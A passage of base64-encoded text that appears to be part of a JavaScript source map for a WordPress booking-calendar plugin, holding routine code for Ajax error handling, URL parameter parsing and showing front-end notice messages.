Gwgc2hvdyBlcnJvciBtZXNzYWdlIHdpdGggIGVtcHR5ICB0ZXh0LCBiZWNhdXNlIGFqYXggd2FzIG5vdCByZWNlaXZlZC5cclxuXHRcdFx0XHRcdCAqIFRvICBub3Qgc2hvdyBzdWNoIHdhcm5pbmdzIHdlIGFyZSBzZXQgZGVsYXkgIGluIDMgc2Vjb25kcy4gIHZhciBtZXNzYWdlX3Nob3dfZGVsYXkgPSAzMDAwO1xyXG5cdFx0XHRcdFx0ICovXHJcblx0XHRcdFx0XHR2YXIgY2xvc2VkX3RpbWVyID0gc2V0VGltZW91dCggZnVuY3Rpb24gKCl7XHJcblxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdC8vIFNob3cgTWVzc2FnZVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdHdwYmNfZnJvbnRfZW5kX19zaG93X21lc3NhZ2UoIGVycm9yX21lc3NhZ2UgLCB7ICd0eXBlJyAgICAgOiAnZXJyb3InLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdzaG93X2hlcmUnOiB7J2pxX25vZGUnOiBqcV9ub2RlLCAnd2hlcmUnOiAnYWZ0ZXInfSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnaXNfYXBwZW5kJzogdHJ1ZSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnc3R5bGUnICAgIDogJ3RleHQtYWxpZ246bGVmdDsnLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdjc3NfY2xhc3MnOid3cGJjX2ZlX21lc3NhZ2VfYWx0JyxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnZGVsYXknICAgIDogMFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHR9ICk7XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQgICB9ICxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCAgIHBhcnNlSW50KCBtZXNzYWdlX3Nob3dfZGVsYXkgKSAgICk7XHJcblxyXG5cdFx0XHQgIH0pXHJcblx0ICAgICAgICAgIC8vIC5kb25lKCAgIGZ1bmN0aW9uICggZGF0YSwgdGV4dFN0YXR1cywganFYSFIgKSB7ICAgaWYgKCB3aW5kb3cuY29uc29sZSAmJiB3aW5kb3cuY29uc29sZS5sb2cgKXsgY29uc29sZS5sb2coICdzZWNvbmQgc3VjY2VzcycsIGRhdGEsIHRleHRTdGF0dXMsIGpxWEhSICk7IH0gICAgfSlcclxuXHRcdFx0ICAvLyAuYWx3YXlzKCBmdW5jdGlvbiAoIGRhdGFfanFYSFIsIHRleHRTdGF0dXMsIGpxWEhSX2Vycm9yVGhyb3duICkgeyAgIGlmICggd2luZG93LmNvbnNvbGUgJiYgd2luZG93LmNvbnNvbGUubG9nICl7IGNvbnNvbGUubG9nKCAnYWx3YXlzIGZpbmlzaGVkJywgZGF0YV9qcVhIUiwgdGV4dFN0YXR1cywganFYSFJfZXJyb3JUaHJvd24gKTsgfSAgICAgfSlcclxuXHRcdFx0ICA7ICAvLyBFbmQgQWpheFxyXG59XHJcblxyXG5cclxuXHJcbi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG4vLyBTdXBwb3J0XHJcbi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cclxuXHQvKipcclxuXHQgKiBHZXQgQ2FsZW5kYXIgalF1ZXJ5IG5vZGUgZm9yIHNob3dpbmcgbWVzc2FnZXMgZHVyaW5nIEFqYXhcclxuXHQgKiBUaGlzIHBhcmFtZXRlcjogICBjYWxlbmRhcl9yZXF1ZXN0X3BhcmFtc1tyZXNvdXJjZV9pZF0gICBwYXJzZWQgZnJvbSB0aGlzLmRhdGEgQWpheCBwb3N0ICBkYXRhXHJcblx0ICpcclxuXHQgKiBAcGFyYW0gYWp4X3Bvc3RfZGF0YV91cmxfcGFyYW1zXHRcdCAnYWN0aW9uPVdQQkNfQUpYX0NBTEVOREFSX0xPQUQuLi4mY2FsZW5kYXJfcmVxdWVzdF9wYXJhbXMlNUJyZXNvdXJjZV9pZCU1RD0yJmNhbGVuZGFyX3JlcXVlc3RfcGFyYW1zJTVCYm9va2luZ19oYXNoJTVEPSZjYWxlbmRhcl9yZXF1ZXN0X3BhcmFtcydcclxuXHQgKiBAcmV0dXJucyB7c3RyaW5nfVx0JycjY2FsZW5kYXJfYm9va2luZzEnICB8ICAgJy5ib29raW5nX2Zvcm1fZGl2JyAuLi5cclxuXHQgKlxyXG5cdCAqIEV4YW1wbGUgICAgdmFyIGpxX25vZGUgID0gd3BiY19nZXRfY2FsZW5kYXJfX2pxX25vZGVfX2Zvcl9tZXNzYWdlcyggdGhpcy5kYXRhICk7XHJcblx0ICovXHJcblx0ZnVuY3Rpb24gd3BiY19nZXRfY2FsZW5kYXJfX2pxX25vZGVfX2Zvcl9tZXNzYWdlcyggYWp4X3Bvc3RfZGF0YV91cmxfcGFyYW1zICl7XHJcblxyXG5cdFx0dmFyIGpxX25vZGUgPSAnLmJvb2tpbmdfZm9ybV9kaXYnO1xyXG5cclxuXHRcdHZhciBjYWxlbmRhcl9yZXNvdXJjZV9pZCA9IHdwYmNfZ2V0X3Jlc291cmNlX2lkX19mcm9tX2FqeF9wb3N0X2RhdGFfdXJsKCBhanhfcG9zdF9kYXRhX3VybF9wYXJhbXMgKTtcclxuXHJcblx0XHRpZiAoIGNhbGVuZGFyX3Jlc291cmNlX2lkID4gMCApe1xyXG5cdFx0XHRqcV9ub2RlID0gJyNjYWxlbmRhcl9ib29raW5nJyArIGNhbGVuZGFyX3Jlc291cmNlX2lkO1xyXG5cdFx0fVxyXG5cclxuXHRcdHJldHVybiBqcV9ub2RlO1xyXG5cdH1cclxuXHJcblxyXG5cdC8qKlxyXG5cdCAqIEdldCByZXNvdXJjZSBJRCBmcm9tIGFqeCBwb3N0IGRhdGEgdXJsICAgdXN1YWxseSAgZnJvbSAgdGhpcy5kYXRhICA9ICdhY3Rpb249V1BCQ19BSlhfQ0FMRU5EQVJfTE9BRC4uLiZjYWxlbmRhcl9yZXF1ZXN0X3BhcmFtcyU1QnJlc291cmNlX2lkJTVEPTImY2FsZW5kYXJfcmVxdWVzdF9wYXJhbXMlNUJib29raW5nX2hhc2glNUQ9JmNhbGVuZGFyX3JlcXVlc3RfcGFyYW1zJ1xyXG5cdCAqXHJcblx0ICogQHBhcmFtIGFqeF9wb3N0X2RhdGFfdXJsX3BhcmFtc1x0XHQgJ2FjdGlvbj1XUEJDX0FKWF9DQUxFTkRBUl9MT0FELi4uJmNhbGVuZGFyX3JlcXVlc3RfcGFyYW1zJTVCcmVzb3VyY2VfaWQlNUQ9MiZjYWxlbmRhcl9yZXF1ZXN0X3BhcmFtcyU1QmJvb2tpbmdfaGFzaCU1RD0mY2FsZW5kYXJfcmVxdWVzdF9wYXJhbXMnXHJcblx0ICogQHJldHVybnMge2ludH1cdFx0XHRcdFx0XHQgMSB8IDAgIChpZiBlcnJyb3IgdGhlbiAgMClcclxuXHQgKlxyXG5cdCAqIEV4YW1wbGUgICAgdmFyIGpxX25vZGUgID0gd3BiY19nZXRfY2FsZW5kYXJfX2pxX25vZGVfX2Zvcl9tZXNzYWdlcyggdGhpcy5kYXRhICk7XHJcblx0ICovXHJcblx0ZnVuY3Rpb24gd3BiY19nZXRfcmVzb3VyY2VfaWRfX2Zyb21fYWp4X3Bvc3RfZGF0YV91cmwoIGFqeF9wb3N0X2RhdGFfdXJsX3BhcmFtcyApe1xyXG5cclxuXHRcdC8vIEdldCBib29raW5nIHJlc291cmNlIElEIGZyb20gQWpheCBQb3N0IFJlcXVlc3QgIC0+IHRoaXMuZGF0YSA9ICdhY3Rpb249V1BCQ19BSlhfQ0FMRU5EQVJfTE9BRC4uLiZjYWxlbmRhcl9yZXF1ZXN0X3BhcmFtcyU1QnJlc291cmNlX2lkJTVEPTImY2FsZW5kYXJfcmVxdWVzdF9wYXJhbXMlNUJib29raW5nX2hhc2glNUQ9JmNhbGVuZGFyX3JlcXVlc3RfcGFyYW1zJ1xyXG5cdFx0dmFyIGNhbGVuZGFyX3Jlc291cmNlX2lkID0gd3BiY19nZXRfdXJpX3BhcmFtX2J5X25hbWUoICdjYWxlbmRhcl9yZXF1ZXN0X3BhcmFtc1tyZXNvdXJjZV9pZF0nLCBhanhfcG9zdF9kYXRhX3VybF9wYXJhbXMgKTtcclxuXHRcdGlmICggKG51bGwgIT09IGNhbGVuZGFyX3Jlc291cmNlX2lkKSAmJiAoJycgIT09IGNhbGVuZGFyX3Jlc291cmNlX2lkKSApe1xyXG5cdFx0XHRjYWxlbmRhcl9yZXNvdXJjZV9pZCA9IHBhcnNlSW50KCBjYWxlbmRhcl9yZXNvdXJjZV9pZCApO1xyXG5cdFx0XHRpZiAoIGNhbGVuZGFyX3Jlc291cmNlX2lkID4gMCApe1xyXG5cdFx0XHRcdHJldHVybiBjYWxlbmRhcl9yZXNvdXJjZV9pZDtcclxuXHRcdFx0fVxyXG5cdFx0fVxyXG5cdFx0cmV0dXJuIDA7XHJcblx0fVxyXG5cclxuXHJcblx0LyoqXHJcblx0ICogR2V0IHBhcmFtZXRlciBmcm9tIFVSTCAgLSAgcGFyc2UgVVJMIHBhcmFtZXRlcnMsICBsaWtlIHRoaXM6IGFjdGlvbj1XUEJDX0FKWF9DQUxFTkRBUl9MT0FELi4uJmNhbGVuZGFyX3JlcXVlc3RfcGFyYW1zJTVCcmVzb3VyY2VfaWQlNUQ9MiZjYWxlbmRhcl9yZXF1ZXN0X3BhcmFtcyU1QmJvb2tpbmdfaGFzaCU1RD0mY2FsZW5kYXJfcmVxdWVzdF9wYXJhbXNcclxuXHQgKiBAcGFyYW0gbmFtZSAgcGFyYW1ldGVyICBuYW1lLCAgbGlrZSAnY2FsZW5kYXJfcmVxdWVzdF9wYXJhbXNbcmVzb3VyY2VfaWRdJ1xyXG5cdCAqIEBwYXJhbSB1cmxcdCdwYXJhbWV0ZXIgIHN0cmluZyBVUkwnXHJcblx0ICogQHJldHVybnMge3N0cmluZ3xudWxsfSAgIHBhcmFtZXRlciB2YWx1ZVxyXG5cdCAqXHJcblx0ICogRXhhbXBsZTogXHRcdHdwYmNfZ2V0X3VyaV9wYXJhbV9ieV9uYW1lKCAnY2FsZW5kYXJfcmVxdWVzdF9wYXJhbXNbcmVzb3VyY2VfaWRdJywgdGhpcy5kYXRhICk7ICAtPiAnMidcclxuXHQgKi9cclxuXHRmdW5jdGlvbiB3cGJjX2dldF91cmlfcGFyYW1fYnlfbmFtZSggbmFtZSwgdXJsICl7XHJcblxyXG5cdFx0dXJsID0gZGVjb2RlVVJJQ29tcG9uZW50KCB1cmwgKTtcclxuXHJcblx0XHRuYW1lID0gbmFtZS5yZXBsYWNlKCAvW1xcW1xcXV0vZywgJ1xcXFwkJicgKTtcclxuXHRcdHZhciByZWdleCA9IG5ldyBSZWdFeHAoICdbPyZdJyArIG5hbWUgKyAnKD0oW14mI10qKXwmfCN8JCknICksXHJcblx0XHRcdHJlc3VsdHMgPSByZWdleC5leGVjKCB1cmwgKTtcclxuXHRcdGlmICggIXJlc3VsdHMgKSByZXR1cm4gbnVsbDtcclxuXHRcdGlmICggIXJlc3VsdHNbIDIgXSApIHJldHVybiAnJztcclxuXHRcdHJldHVybiBkZWNvZGVVUklDb21wb25lbnQoIHJlc3VsdHNbIDIgXS5yZXBsYWNlKCAvXFwrL2csICcgJyApICk7XHJcblx0fVxyXG4iLCIvKipcclxuICogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09XHJcbiAqXHRpbmNsdWRlcy9fX2pzL2Zyb250X2VuZF9tZXNzYWdlcy93cGJjX2ZlX21lc3NhZ2VzLmpzXHJcbiAqID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxyXG4gKi9cclxuXHJcbi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG4vLyBTaG93IE1lc3NhZ2VzIGF0IEZyb250LUVkbiBzaWRlXHJcbi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cclxuLyoqXHJcbiAqIFNob3cgbWVzc2FnZSBpbiBjb250ZW50XHJcbiAqXHJcbiAqIEBwYXJhbSBtZXNzYWdlXHRcdFx0XHRNZXNzYWdlIEhUTUxcclxuICogQHBhcmFtIHBhcmFtcyA9IHtcclxuICpcdFx0XHRcdFx0XHRcdFx0J3R5cGUnICAgICA6ICd3YXJuaW5nJyxcdFx0XHRcdFx0XHRcdC8vICdlcnJvcicgfCAnd2FybmluZycgfCAnaW5mbycgfCAnc3VjY2VzcydcclxuICpcdFx0XHRcdFx0XHRcdFx0J3Nob3dfaGVyZScgOiB7XHJcbiAqXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnanFfbm9kZScgOiAnJyxcdFx0XHRcdC8vIGFueSBqUXVlcnkgbm9kZSBkZWZpbml0aW9uXHJcbiAqXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnd2hlcmUnICAgOiAnaW5zaWRlJ1x0XHQvLyAnaW5zaWRlJyB8ICdiZWZvcmUnIHwgJ2FmdGVyJyB8ICdyaWdodCcgfCAnbGVmdCdcclxuICpcdFx0XHRcdFx0XHRcdFx0XHRcdFx0ICB9LFxyXG4gKlx0XHRcdFx0XHRcdFx0XHQnaXNfYXBwZW5kJzogdHJ1ZSxcdFx0XHRcdFx0XHRcdFx0Ly8gQXBwbHkgIG9ubHkgaWYgXHQnd2hlcmUnICAgOiAnaW5zaWRlJ1xyXG4gKlx0XHRcdFx0XHRcdFx0XHQnc3R5bGUnICAgIDogJ3RleHQtYWxpZ246bGVmdDsnLFx0XHRcdFx0Ly8gc3R5bGVzLCBpZiBuZWVkZWRcclxuICpcdFx0XHRcdFx0XHRcdCAgICAnY3NzX2NsYXNzJzogJycsXHRcdFx0XHRcdFx0XHRcdC8vIEZvciBleGFtcGxlIGNhbiAgYmU6ICd3cGJjX2ZlX21lc3NhZ2VfYWx0J1xyXG4gKlx0XHRcdFx0XHRcdFx0XHQnZGVsYXknICAgIDogMCxcdFx0XHRcdFx0XHRcdFx0XHQvLyBob3cgbWFueSBtaWNyb3NlY29uZCB0byAgc2hvdywgIGlmIDAgIHRoZW4gIHNob3cgZm9yZXZlclxyXG4gKlx0XHRcdFx0XHRcdFx0XHQnaWZfdmlzaWJsZV9ub3Rfc2hvdyc6IGZhbHNlXHRcdFx0XHRcdC8vIGlmIHRydWUsICB0aGVuIGRvIG5vdCBzaG93IG1lc3NhZ2UsICBpZiBwcmV2aW9zIG1lc3NhZ2Ugd2FzIG5vdCBoaWRlZCAobm90IGFwcGx5IGlmICd3aGVyZScgICA6ICdpbnNpZGUnIClcclxuICpcdFx0XHRcdH07XHJcbiAqIEV4YW1wbGVzOlxyXG4gKiBcdFx0XHR2YXIgaHRtbF9pZCA9IHdwYmNfZnJvbnRfZW5kX19zaG93X21lc3NhZ2UoICdZb3UgY2FuIHRlc3QgZGF5cyBzZWxlY3Rpb24gaW4gY2FsZW5kYXInLCB7fSApO1xyXG4gKlxyXG4gKlx0XHRcdHZhciBub3RpY2VfbWVzc2FnZV9pZCA9IHdwYmNfZnJvbnRfZW5kX19zaG93X21lc3NhZ2UoIF93cGJjLmdldF9tZXNzYWdlKCAnbWVzc2FnZV9jaGVja19yZXF1aXJlZCcgKSwgeyAndHlwZSc6ICd3YXJuaW5nJywgJ2RlbGF5JzogMTAwMDAsICdpZl92aXNpYmxlX25vdF9zaG93JzogdHJ1ZSxcclxuICpcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCAgJ3Nob3dfaGVyZSc6IHsnd2hlcmUnOiAncmlnaHQnLCAnanFfbm9kZSc6IGVsLH0gfSApO1xyXG4gKlxyXG4gKlx0XHRcdHdwYmNfZnJvbnRfZW5kX19zaG93X21lc3NhZ2UoIHJlc3BvbnNlX2RhdGFbICdhanhfZGF0YScgXVsgJ2FqeF9hZnRlcl9hY3Rpb25fbWVzc2FnZScgXS5yZXBsYWNlKCAvXFxuL2csIFwiPGJyIC8+XCIgKSxcclxuICpcdFx0XHRcdFx0XHRcdFx0XHRcdFx0eyAgICd0eXBlJyAgICAgOiAoICd1bmRlZmluZWQnICE9PSB0eXBlb2YoIHJlc3BvbnNlX2RhdGFbICdhanhfZGF0YScgXVsgJ2FqeF9hZnRlcl9hY3Rpb25fbWVzc2FnZV9zdGF0dXMnIF0gKSApXHJcbiAqXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0ICA/IHJlc3BvbnNlX2RhdGFbICdhanhfZGF0YScgXVsgJ2FqeF9hZnRlcl9hY3Rpb25fbWVzc2FnZV9zdGF0dXMnIF0gOiAnaW5mbycsXHJcbiAqXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3Nob3dfaGVyZSc6IHsnanFfbm9kZSc6IGpxX25vZGUsICd3aGVyZSc6ICdhZnRlcid9LFxyXG4gKlx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdjc3NfY2xhc3MnOid3cGJjX2ZlX21lc3NhZ2VfYWx0JyxcclxuICpcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQnZGVsYXknICAgIDogMTAwMDBcclxuICpcdFx0XHRcdFx0XHRcdFx0XHRcdFx0fSApO1xyXG4gKlxyXG4gKlxyXG4gKiBAcmV0dXJucyBzdHJpbmcgIC0gSFRNTCBJRFx0XHRvciAwIGlmIG5vdCBzaG93aW5nIGR1cmluZyB0aGlzIHRpbWUuXHJcbiAqL1xyXG5mdW5jdGlvbiB3cGJjX2Zyb250X2VuZF9fc2hvd19tZXNzYWdlKCBtZXNzYWdlLCBwYXJhbXMgPSB7fSApe1xyXG5cclxuXHR2YXIgcGFyYW1zX2RlZmF1bHQgPSB7XHJcblx0XHRcdFx0XHRcdFx0XHQndHlwZScgICAgIDogJ3dhcm5pbmcnLFx0XHRcdFx0XHRcdFx0Ly8gJ2Vycm9yJyB8ICd3YXJuaW5nJyB8ICdpbmZvJyB8ICdzdWNjZXNzJ1xyXG5cdFx0XHRcdFx0XHRcdFx0J3Nob3dfaGVyZScgOiB7XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J2pxX25vZGUnIDogJycsXHRcdFx0XHQvLyBhbnkgalF1ZXJ5IG5vZGUgZGVmaW5pdGlvblxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCd3aGVyZScgICA6ICdpbnNpZGUnXHRcdC8vICdpbnNpZGUnIHwgJ2JlZm9yZScgfCAnYWZ0ZXInIHwgJ3JpZ2h0JyB8ICdsZWZ0J1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0ICB9LFxyXG5cdFx0XHRcdFx0XHRcdFx0J2lzX2FwcGVuZCc6IHRydWUsXHRcdFx0XHRcdFx0XHRcdC8vIEFwcGx5ICBvbmx5IGlmIFx0J3doZXJlJyAgIDogJ2luc2lkZSdcclxuXHRcdFx0XHRcdFx0XHRcdCdzdHlsZScgICAgOiAndGV4dC1hbGlnbjpsZWZ0OycsXHRcdFx0XHQvLyBzdHlsZXMsIGlmIG5lZWRlZFxyXG5cdFx0XHRcdFx0XHRcdCAgICAnY3NzX2NsYXNzJzogJycsXHRcdFx0XHRcdFx0XHRcdC8vIEZvciBleGFtcGxlIGNhbiAgYmU6ICd3cGJjX2ZlX21lc3NhZ2VfYWx0J1xyXG5cdFx0XHRcdFx0XHRcdFx0J2RlbGF5JyAgICA6IDAsXHRcdFx0XHRcdFx0XHRcdFx0Ly8gaG93IG1hbnkgbWljcm9zZWNvbmQgdG8gIHNob3csICBpZiAwICB0aGVuICBzaG93IGZvcmV2ZXJcclxuXHRcdFx0XHRcdFx0XHRcdCdpZl92aXNpYmxlX25vdF9zaG93JzogZmFsc2UsXHRcdFx0XHRcdC8vIGlmIHRydWUsICB0aGVuIGRvIG5vdCBzaG93IG1lc3NhZ2UsICBpZiBwcmV2aW9zIG1lc3NhZ2Ugd2FzIG5vdCBoaWRlZCAobm90IGFwcGx5IGlmICd3aGVyZScgICA6ICdpbnNpZGUnIClcclxuXHRcdFx0XHRcdFx0XHRcdCdpc19zY3JvbGwnOiB0cnVlXHRcdFx0XHRcdFx0XHRcdC8vIGlzIHNjcm9sbCAgdG8gIHRoaXMgZWxlbWVudFxyXG5cdFx0XHRcdFx0XHR9O1xyXG5cdGZvciAoIHZhciBwX2tleSBpbiBwYXJhbXMgKXtcclxuXHRcdHBhcmFtc19kZWZhdWx0WyBwX2tleSBdID0gcGFyYW1zWyBwX2tleSBdO1xyXG5cdH1cclxuXHRwYXJhbXMgPSBwYXJhbXNfZGVmYXVsdDtcclxuXHJcbiAgICB2YXIgdW5pcXVlX2Rpdl9pZCA9IG5ldyBEYXRlKCk7XHJcbiAgICB1bmlxdWVfZGl2X2lkID0gJ3dwYmNfbm90aWNlXycgKyB1bmlxdWVfZGl2X2lkLmdldFRpbWUoKTtcclxuXHJcblx0cGFyYW1zWydjc3NfY2xhc3MnXSArPSAnIHdwYmNfZmVfbWVzc2FnZSc7XHJcblx0aWYgKCBwYXJhbXNbJ3R5cGUnXSA9PSAnZXJyb3InICl7XHJcblx0XHRwYXJhbXNbJ2Nzc19jbGFzcyddICs9ICcgd3BiY19mZV9tZXNzYWdlX2Vycm9yJztcclxuXHRcdG1lc3NhZ2UgPSAnPGkgY2xhc3M9XCJtZW51X2ljb24gaWNvbi0xeCB3cGJjX2ljbl9yZXBvcnRfZ21haWxlcnJvcnJlZFwiPjwvaT4nICsgbWVzc2FnZTtcclxuXHR9XHJcblx0aWYgKCBwYXJhbXNbJ3R5cGUnXSA9PSAnd2FybmluZycgKXtcclxuXHRcdHBhcmFtc1snY3NzX2NsYXNzJ10gKz0gJyB3cGJjX2ZlX21lc3NhZ2Vfd2FybmluZyc7XHJcblx0XHRtZXNzYWdlID0gJzxpIGNsYXNzPVwibWVudV9pY29uIGljb24tMXggd3BiY19pY25fd2FybmluZ1wiPjwvaT4nICsgbWVzc2FnZTtcclxuXHR9XHJcblx0aWYgKCBwYXJhbXNbJ3R5cGUnXSA9PSAnaW5mbycgKXtcclxuXHRcdHBhcmFtc1snY3NzX2NsYXNzJ10gKz0gJyB3cGJjX2ZlX21lc3NhZ2VfaW5mbyc7XHJcblx0fVxyXG5cdGlmICggcGFyYW1zWyd0eXBlJ10gPT0gJ3N1Y2Nlc3MnICl7XHJcblx0XHRwYXJhbXNbJ2Nzc19jbGFzcyddICs9ICcgd3BiY19mZV9tZXNzYWdlX3N1Y2Nlc3MnO1xyXG5cdFx0bWVzc2FnZSA9ICc8aSBjbGFzcz1cIm1lbnVfaWNvbiBpY29uLTF4IHdwYmNfaWNuX2RvbmVfb3V0bGluZVwiPjwvaT4nICsgbWVzc2FnZTtcclxuXHR9XHJcblxyXG5cdHZhciBzY3JvbGxfdG9fZWxlbWVudCA9ICc8ZGl2IGlkPVwiJyArIHVuaXF1ZV9kaXZfaWQgKyAnX3Njcm9sbFwiIHN0eWxlPVwiZGlzcGxheTpub25lO1wiPjwvZGl2Pic7XHJcblx0bWVzc2FnZSA9ICc8ZGl2IGlkPVwiJyArIHVuaXF1ZV9kaXZfaWQgKyAnXCIgY2xhc3M9XCJ3cGJjX2Zyb250X2VuZF9fbWVzc2FnZSAnICsgcGFyYW1zWydjc3NfY2xhc3MnXSArICdcIiBzdHlsZT1cIicgKyBwYXJhbXNbICdzdHlsZScgXSArICdcIj4nICsgbWVzc2FnZSArICc8L2Rpdj4nO1xyXG5cclxuXHJcblx0dmFyIGpxX2VsX21lc3NhZ2UgPSBmYWxzZTtcclxuXHR2YXIgaXNfc2hvd19tZXNzYWdlID0gdHJ1ZTtcclxuXHJcblx0aWYgKCAnaW5zaWRlJyA9PT0gcGFyYW1zWyAnc2hvd19oZXJlJyBdWyAnd2hlcmUnIF0gKXtcclxuXHJcblx0XHRpZiAoIHBhcmFtc1sgJ2lzX2FwcGVuZCcgXSApe1xyXG5cdFx0XHRqUXVlcnkoIHBhcmFtc1sgJ3Nob3dfaGVyZScgXVsgJ2pxX25vZGUnIF0gKS5hcHBlbmQoIHNjcm9sbF90b19lbGVtZW50ICk7XHJcblx0XHRcdGpRdWVyeSggcGFyYW1zWyAnc2hvd19oZXJlJyBdWyAnanFfbm9kZScgXSApLmFwcGVuZCggbWVzc2FnZSApO1xyXG5cdFx0fSBlbHNlIHtcclxuXHRcdFx0alF1ZXJ5KCBwYXJhbXNbICdzaG93X2hlcmUnIF1bICdqcV9ub2RlJyBdICkuaHRtbCggc2Nyb2xsX3RvX2VsZW1lbnQgKyBtZXNzYWdlICk7XHJcblx0XHR9XHJcblxyXG5cdH0gZWxzZSBpZiAoICdiZWZvcmUnID09PSBwYXJhbXNbICdzaG93X2hlcmUnIF1bICd3aGVyZScgXSApe1xyXG5cclxuXHRcdGpxX2VsX21lc3NhZ2UgPSBqUXVlcnkoIHBhcmFtc1sgJ3Nob3dfaGVyZScgXVsgJ2pxX25vZGUnIF0gKS5zaWJsaW5ncyggJ1tpZF49XCJ3cGJjX25vdGljZV9cIl0nICk7XHJcblx0XHRpZiAoIChwYXJhbXNbICdpZl92aXNpYmxlX25vdF9zaG93JyBdKSAmJiAoanFfZWxfbWVzc2FnZS5pcyggJzp2aXNpYmxlJyApKSApe1xyXG5cdFx0XHRpc19zaG93X21lc3NhZ2UgPSBmYWxzZTtcclxuXHRcdFx0dW5pcXVlX2Rpdl9pZCA9IGpRdWVyeSgganFfZWxfbWVzc2FnZS5nZXQoIDAgKSApLmF0dHIoICdpZCcgKTtcclxuXHRcdH1cclxuXHRcdGlmICggaXNfc2hvd19tZXNzYWdlICl7XHJcblx0XHRcdGpRdWVyeSggcGFyYW1zWyAnc2hvd19oZXJlJyBdWyAnanFfbm9kZScgXSApLmJlZm9yZSggc2Nyb2xsX3RvX2VsZW1lbnQgKTtcclxuXHRcdFx0alF1ZXJ5KCBwYXJhbXNbICdzaG93X2hlcmUnIF1bICdqcV9ub2RlJyBdICkuYmVmb3JlKCBtZXNzYWdlICk7XHJcblx0XHR9XHJcblxyXG5cdH0gZWxzZSBpZiAoICdhZnRlcicgPT09IHBhcmFtc1sgJ3Nob3dfaGVyZScgXVsgJ3doZXJlJyBdICl7XHJcblxyXG5cdFx0anFfZWxfbWVzc2FnZSA9IGpRdWVyeSggcGFyYW1zWyAnc2hvd19oZXJlJyBdWyAnanFfbm9kZScgXSApLm5leHRBbGwoICdbaWRePVwid3BiY19ub3RpY2VfXCJdJyApO1xyXG5cdFx0aWYgKCAocGFyYW1zWyAnaWZfdmlzaWJsZV9ub3Rfc2hvdycgXSkgJiYgKGpxX2VsX21lc3NhZ2UuaXMoICc6dmlzaWJsZScgKSkgKXtcclxuXHRcdFx0aXNfc2hvd19tZXNzYWdlID0gZmFsc2U7XHJcblx0XHRcdHVuaXF1ZV9kaXZfaWQgPSBqUXVlcnkoIGpxX2VsX21lc3NhZ2UuZ2V0KCAwICkgKS5hdHRyKCAnaWQnICk7XHJcblx0XHR9XHJcblx0XHRpZiAoIGlzX3Nob3dfbWVzc2FnZSApe1xyXG5cdFx0XHRqUXVlcnkoIHBhcmFtc1sgJ3Nob3dfaGVyZScgXVsgJ2pxX25vZGUnIF0gKS5iZWZvcmUoIHNjcm9sbF90b19lbGVtZW50ICk7XHRcdC8vIFdlIG5lZWQgdG8gIHNldCAgaGVyZSBiZWZvcmUoZm9yIGhhbmR5IHNjcm9sbClcclxuXHRcdFx0alF1ZXJ5KCBwYXJhbXNbICdzaG93X2hlcmUnIF1bICdqcV9ub2RlJyBdICkuYWZ0ZXIoIG1lc3NhZ2UgKTtcclxuXHRcdH1cclxuXHJcblx0fSBlbHNlIGlmICggJ3Jp